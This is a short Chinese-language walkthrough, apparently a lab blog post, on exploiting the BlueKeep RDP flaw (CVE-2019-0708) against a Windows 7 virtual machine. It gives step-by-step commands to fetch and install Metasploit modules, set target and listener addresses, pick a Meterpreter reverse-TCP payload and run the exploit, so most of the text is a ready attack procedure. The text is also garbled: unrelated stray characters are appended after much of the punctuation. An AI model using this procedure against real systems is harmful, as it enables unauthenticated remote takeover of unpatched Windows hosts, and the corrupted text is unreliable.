前言
CVE-2019-0708漏洞是通過檢查用戶的身份認(rèn)證绽昼，導(dǎo)致可以繞過認(rèn)證念链，不用任何的交互蒂培，直接通過rdp協(xié)議進(jìn)行連接發(fā)送惡意代碼執(zhí)行命令到服務(wù)器中去沙合。
漏洞利用
更新metasploit
apt update; apt install metasploit-framework
安裝并替換四個(gè)模塊
rdp.rb奠伪、rdp_scanner.rb、cve_2019_0708_bluekeep_rce.rb首懈、cve_2019_0708_bluekeep.rb
wget https://raw.githubusercontent.com/rapid7/metasploit-framework/edb7e20221e2088497d1f61132db3a56f81b8ce9/lib/msf/core/exploit/rdp.rb
cp rdp.rb /usr/share/metasploit-framework/lib/msf/core/exploit/
wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/rdp_scanner.rb
cp rdp_scanner.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/
wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb
cp cve_2019_0708_bluekeep_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/rdp/
wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb
cp cve_2019_0708_bluekeep.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/
安裝后metasploit模塊為
/usr/share/metasploit-framework/lib/msf/core/exploit/rdp.rb
/usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/
image.png
/usr/share/metasploit-framework/modules/exploits/windows/rdp
image.png
攻擊機(jī)kali（192.168.203.128）
靶機(jī)windows7 （192.168.203.130）
啟動(dòng)msf后search cve-2019-0708
image.png
設(shè)置RHOST(目標(biāo)IP)绊率、LHOST(本地IP)、PAYLOAD
set payload windows/x64/meterpreter/reverse_tcp
還需要選擇target為物理機(jī)還是其他虛擬機(jī)
image.png
這里選擇VMWare
image.png
run即可
image.png
